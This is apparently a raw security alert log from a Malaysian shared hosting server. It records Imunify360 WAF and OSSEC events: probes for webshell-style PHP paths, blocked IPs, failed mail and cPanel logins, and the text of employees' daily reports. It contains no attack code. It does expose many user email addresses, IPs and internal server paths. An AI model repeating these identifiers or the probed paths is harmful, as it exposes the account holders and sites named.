IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/demos/img/img/img/product.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.203.48.40
country_id: 2963597
description:
Jan 19 16:42:30 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.203.48.40 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/plug/sms/img/img/new-development.php||SC:/home2/pspolycom/public_html/plug||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/about-sinaran-utama-teknologi/images/sliders/news.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/news-n-events/img/img/img/img/img/about.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.72.24.250
country_id: 51537
description:
Jan 19 16:45:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.72.24.250 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/demos/img/img/img/contact-us.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.40.32
country_id: 953987
description:
Jan 19 16:44:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.40.32 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/about-sinaran-utama-teknologi/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/osl.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.72
country_id: 798544
description:
Jan 19 16:47:43 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.72 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.72
country_id: 798544
description:
Jan 19 16:47:56 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.72 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.86
country_id: 3469034
description:
Jan 19 16:48:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.86 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/themes/images/sliders/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/languages/images/sliders/images/sliders/Survey_Meter_Calibration.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 161.35.50.49
country_id: 6252001
description:
2026-01-19 16:50:24 356396 [Warning] Aborted connection 356396 to db: 'unconnected' user: 'unauthenticated' host: '161.35.50.49' (This connection closed normally without authentication)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/languages/images/rpl.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.171.14.104
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=955925 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/services/survey-meter/images/sliders/cdn-cgi/l/faq.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 180.75.72.60
country_id: 1733045
description:
[2026-01-19 16:54:16 +0800] info [webmaild] 180.75.72.60 - ken@smartcable.com.my "GET /cpsess4228189374/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 180.75.72.60
country_id: 1733045
description:
[2026-01-19 16:56:51 +0800] info [webmaild] 180.75.72.60 - general02@smartcable.com.my "POST /cpsess7572380354/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/img/photos/cdn-cgi/l/faq.php||SC:/home/sutsbcom/public_html/img||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 180.75.72.60
country_id: 1733045
description:
[2026-01-19 16:57:51 +0800] info [webmaild] 180.75.72.60 - general02@smartcable.com.my "POST /cpsess7572380354/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/img/photos/services.php||SC:/home/sutsbcom/public_html/img||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 180.75.72.60
country_id: 1733045
description:
[2026-01-19 16:58:51 +0800] info [webmaild] 180.75.72.60 - general02@smartcable.com.my "POST /cpsess7572380354/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.138.65
country_id: 1733045
description:
2026-01-19 16:58:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.138.65]:59681: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.138.65
country_id: 1733045
description:
2026-01-19 17:00:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.138.65]:56607: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/services/transportation-radioactive-materials/images/sliders/cdn-cgi/l/cdn-cgi/l/career.php||SC:/home/sutsbcom/public_html/services||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/flagallery/flexible-packaging/img/img/news.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/languages/images/sliders/cdn-cgi/l/contact.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/img/photos/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/img||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 150.228.105.45
country_id: 99237
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/soap/17/83/1719245 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 175.139.168.128
country_id: 1733045
domain: dailyreport.tallahesse.com
description:
IM360 WAF: Possible XSS in arguments||MV:<ul>\r\n<li class=\"msonormal\" style=\"mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list 36.0pt;\">check &amp; print supplier invoice</li>\r\n<li class=\"msonormal\" style=\"mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list 36.0pt;\">keyin supplies invoice - purchase invoices in software</li>\r\n<li class=\"msonormal\" style=\"mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list 36.0pt;\">go to find the old document payment voucher the audit - get approve ms. kho</li>\r\n<li class=\"msonormal\" style=\"mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list 36.0pt;\">payment to supplies (do bank transfer - save as draft)</li>\r\n</ul>||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-19 17:06:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:60587: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/about-sinaran-utama-teknologi/images/cert.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 209.38.79.187
country_id: 6252001
domain: nexuscollection.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/141.0.0.0 Safari/537.36||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-19 17:10:47 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess6825531216/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-19 17:11:22 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess6825531216/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.240.16
country_id: 1733045
description:
[2026-01-19 17:11:51 +0800] info [webmaild] 27.125.240.16 - celynnloh@mckd.com.my "POST /cpsess5331907075/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [27.125.240.181] != Current IP Address [27.125.240.16]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-19 17:12:45 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "POST /cpsess0475855842/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.214.44.117
country_id: 149590
description:
Jan 19 17:13:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.214.44.117 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.214.44.117
country_id: 149590
description:
2026-01-19 17:13:19 dovecot_login authenticator failed for H=([102.214.44.117]) [102.214.44.117]:52484: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.114.149.106
country_id: 1814991
description:
Jan 19 17:13:42 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.114.149.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.114.149.106
country_id: 1814991
description:
2026-01-19 17:13:44 dovecot_login authenticator failed for H=([124.114.149.106]) [124.114.149.106]:37018: 535 Incorrect authentication data (set_id=salesi)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-19 17:13:45 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "POST /cpsess0475855842/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.17.216.224
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=486189 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.244.152.185
country_id: 99237
domain: figofoods.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/figofoods.com.my/images/casual.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.123.216.82
country_id: 3865483
domain: figofoods.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/figofoods.com.my/images/foodcourt.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.188.126.77
country_id: 337996
domain: figofoods.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/figofoods.com.my/images/fastfood.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.142.236.8
country_id: 3865483
domain: figofoods.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/figofoods.com.my/images/logoo-cabee.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 59.103.216.34
country_id: 1168579
domain: ocned.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/ocned.com/news.php?i=10 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.52.184.223
country_id: 3439705
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/monolog/monolog/src/Monolog/SignalHandler.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.229.6.50
country_id: 3658394
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/psy/psysh/bin/build-phar HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.242.162
country_id: 1269750
description:
Jan 19 17:24:22 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.242.162 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.209.80
country_id: 933860
description:
Jan 19 17:24:42 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.209.80 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 165.101.254.210
country_id: 1694008
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:83015.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a217957ff06dea4e77bb351560860d9aed73bc8b||Title:0x71e348a9||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 82.163.10.53
country_id: 1861060
domain: evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/evergrown.com.my/img/photos/4413930365.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 124.82.108.129
country_id: 1733045
description:
[2026-01-19 17:27:37 +0800] info [webmaild] 124.82.108.129 - pylim@af-sb.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 196.188.162.7
country_id: 337996
domain: sutsb.com.my
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/sutsbcom/public_html/wp-includes/SimplePie/src/Author.php||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.231.155.169
country_id: 2017370
domain: af-sb.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:17-29.185.231.155.169||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 19 17:29:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.33.45
country_id: 99237
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=71161516781682 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-19 17:34:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:60668: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.160.163.82
country_id: 3895114
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=263428 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.29.181.200
country_id: 3686110
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/console/Command/ListCommand.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.54
country_id: 690791
description:
2026-01-19 17:38:33 H=([45.144.212.54]) [45.144.212.54]:63044 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<mertul@kit-fa.com> rejected RCPT <munch@nexuscollection.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/images/about.php||SC:/home/sutsbcom/public_html/images||


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 27.125.250.157
country_id: 1733045
domain: dsc-expat.com
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 15; RMX3999 Build/AP3A.240617.008; ) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/143.0.7499.192 Mobile Safari/537.36 trill_430104 JsSdk/1.0 NetType/MOBILE Channel/googleplay AppName/trill app_version/43.1.4 ByteLocale/en-GB ByteFullLocale/en-GB Region/MY AppId/1180 Spark/1.7.2 AppVersion/43.1.4 PIA/2.5.3 BytedanceWebview/d8a21c6||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.181
country_id: 1269750
description:
Jan 19 17:41:54 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.181 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/languages/images/eco.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.181
country_id: 1269750
description:
Jan 19 17:42:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.181 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.242.40
country_id: 1269750
description:
Jan 19 17:42:26 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.242.40 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.106
country_id: 690791
description:
2026-01-19 17:43:49 H=([77.83.39.106]) [77.83.39.106]:62594 F=<Fix@coscoshippingspe.nl> rejected RCPT <astmyy@astlog.com.my>: No Such User Here


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.229.35
country_id: 1269750
description:
Jan 19 17:43:51 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.229.35 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.3.173.34
country_id: 1819730
description:
Jan 19 17:43:21 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.3.173.34 has been locked due to Imunify RBL


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 175.139.168.128
country_id: 1733045
domain: dailyreport.tallahesse.com
description:
IM360 WAF: Possible XSS in arguments||MV:<p><span style=\"text-decoration: underline;\"><strong>monday 19-jan-26</strong></span></p>\r\n<ul>\r\n<li>update tsb container arival report</li>\r\n<li>chasing agent for import container arrangement.</li>\r\n<li>follow up on export container to 18d.</li>\r\n<li>checking phyto approval status.</li>\r\n<li>liaise with 18d agent on shipping documents for kk#shanghai shipment.</li>\r\n<li>checking k2 / k1</li>\r\n<li>update tpy import schedule</li>\r\n<li>follow up us consol order</li>\r\n<li>follow up vessel details from penleigh</li>\r\n</ul>||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.240.188
country_id: 1733045
description:
[2026-01-19 17:45:39 +0800] info [webmaild] 27.125.240.188 - celynnloh@mckd.com.my "GET /cpsess6243499935/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [27.125.240.16] != Current IP Address [27.125.240.188]


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 166.0.161.164
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:17-50.166.0.161.164||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.163.198.78
country_id: 3469034
description:
Jan 19 17:54:35 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.163.198.78 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.143.92.165
country_id: 2510769
description:
Jan 19 17:54:56 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.143.92.165 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.223
country_id: 3469034
description:
Jan 19 17:55:51 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.223 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.143.92.165
country_id: 2510769
description:
Jan 19 17:55:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.143.92.165 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.8
country_id: 3469034
description:
Jan 19 17:56:15 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.8 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.223
country_id: 3469034
description:
Jan 19 17:55:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.223 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 99.146.48.205
country_id: 6252001
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.inter-link.edu.my/course/Business-English-Course-12 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.216
country_id: 3469034
description:
Jan 19 17:59:23 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.216 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.231.155.169
country_id: 2017370
domain: nobledec.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:18-00.185.231.155.169||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 49.43.202.64
country_id: 1269750
domain: kendek.com
